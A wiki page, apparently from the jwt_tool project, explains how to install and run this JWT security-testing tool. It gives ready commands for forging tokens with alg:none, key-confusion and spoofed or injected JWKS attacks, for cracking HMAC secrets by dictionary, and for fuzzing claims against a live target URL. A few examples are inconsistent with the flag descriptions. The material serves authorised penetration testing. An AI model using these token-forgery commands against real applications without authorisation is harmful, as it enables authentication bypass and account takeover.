Skip to content

Using jwt_tool

ticarpi edited this page Nov 8, 2020 · 8 revisions

Installation:

jwt_tool was written using native Python 3 libraries. The dependencies are for HTTP transmission, colours and visual flair, plus the crypto processes such as signing and verifying RSA/ECDSA/PSS tokens, generating and reconstructing Public/Private Keys, and a few other practical tasks.

To grab a copy of jwt_tool simply git clone it onto your system from a terminal:

$ git clone https://github.com/ticarpi/jwt_tool

Install dependencies from pip:

$ python3 -m pip install termcolor cprint pycryptodomex requests

First Run

On first run the tool will generate a config file, some utility files, logfile, and a set of Public and Private keys in various formats.

Custom Configs

  • To make best use of the scanning options it is strongly advised to copy the custom-generated JWKS file somewhere that can be accessed remotely via a URL. This address should then be stored in jwtconf.ini as the "jwkloc" value.
  • In order to capture external service interactions - such as DNS lookups and HTTP requests - put your unique address for Burp Collaborator (or other alternative tools such as RequestBin) into the config file as the "httplistener" value.
    Review the other options in the config file to customise your experience.

Common Flags

  • -X eXploits
    • a = alg:none
    • s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
    • k = key confusion (specify public key with -pk)
    • i = inject inline JWKS
  • -S Signing
    • hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)
    • rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr)
    • ec256/ec384/ec512 = Elliptic Curve signing (specify an EC private key with -pr)
    • ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)
  • -C Check/Crack
  • -M Scanning Modes
    • pb = playbook audit
    • er = fuzz existing claims to force errors
    • at - All Tests!
  • -V Verify signatures
  • -I Inject/Fuzz
  • -T Tamper (interactive) mode
  • -Q Query token ID

Basic usage:

Run jwt_tool and see the usage information:

$ python3 jwt_tool.py -h

Process a token and read decoded claims and values:

$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po

Verify a token against a Public Key:

$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem

or

$ python3 jwt_tool.py JWT_HERE -V -jw my_public_jwks.json

Start tampering interactively with the header and payload claims:

$ python3 jwt_tool.py JWT_HERE -T

Sending tokens to the application

All modes now allow for sending the token directly to an application.
You need to specify:

  • target URL (-t)
  • a request header (-rh) or request cookies (-rc) that are needed by the application (at least one must contain the token)
  • (optional) any POST data (where the request is a POST)
  • (optional) any additional jwt_tool options, such as modes or tampering/injection options
  • (optional) a canary value (-cv) - a text value you expect to see in a successful use of the token (e.g. "Welcome, ticarpi")
    An example request might look like this (using scanning mode for forced-errors):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er 

Running scans

Choose from the included scan options to run automated JWT assessments:

  • -M pb = Playbook Scan
  • -M er = Forced errors Scan
  • -M at = All Tests - run all scan modes

Run a Playbook Scan using the provided token directly against the application to hunt for common misconfigurations:

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb

Run a Forced Errors Scan using the provided token directly against the application to hunt for common misconfigurations:

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb

Common Attacks

Attempt to crack/guess the secret key (HMAC algorithms):

$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

or

$ python3 jwt_tool.py JWT_HERE -C -p password_here

Try the 'key-confusion' attack against asymmetric ciphers (RS-, EC-, PS-) with a known Public Key:

$ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

Try using the 'none' algorithm for creating unvalidated tokens:

$ python3 jwt_tool.py JWT_HERE -X a

Spoof a remote JWKS: use the RSA keys auto-generated on first-run and serve the JWKS at the URL provided (-ju) - or add the URL to your jwtconf.ini config file - and sign the token with the Private Key:

$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json

Inject an inline JWKS to the JWT header: use the RSA keys auto-generated on first-run, export the Public Key as a JSON Web Key Store object, inject into the JJWT header, and sign the token with the Private Key:

$ python3 jwt_tool.py JWT_HERE -X i

Signing tokens

Sign token with a known key/password:

$ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem
$ python3 jwt_tool.py JWT_HERE -S hs256 -p jwt-secret-key

Injecting and Fuzzing claims

Inject into (new or existing) header and payload claims (-hc/-pc) - match claims and values evenly with matching header and payload values (-hv/-pv):

$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2 -pc payload1 -pv testval3

Fuzz values for header and payload claims by specifying a text file for any ONE (maximum) payload or header value (-hv/pv):

$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv fuzzing_list.txt -hc header2 -hv testval2 -pc payload1 -pv testval3

Querying the logfile

Read values and data about requests by querying the unique ID for any request/token:

$ python3 jwt_tool.py -Q jwttool_2c9c0b6a92d982148241ea599e7c5871

Putting it all together

You can chain combinations of these options to perform complex interactions/token generation.
For example you can specify a token and Fuzz values, then sign it using an exploit (such as alg:none), or with a known key:

$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -X a
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -S es512 -pk jwttool_custom_private_EC.pem -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test"

Try combining various options and see how complex you can make it!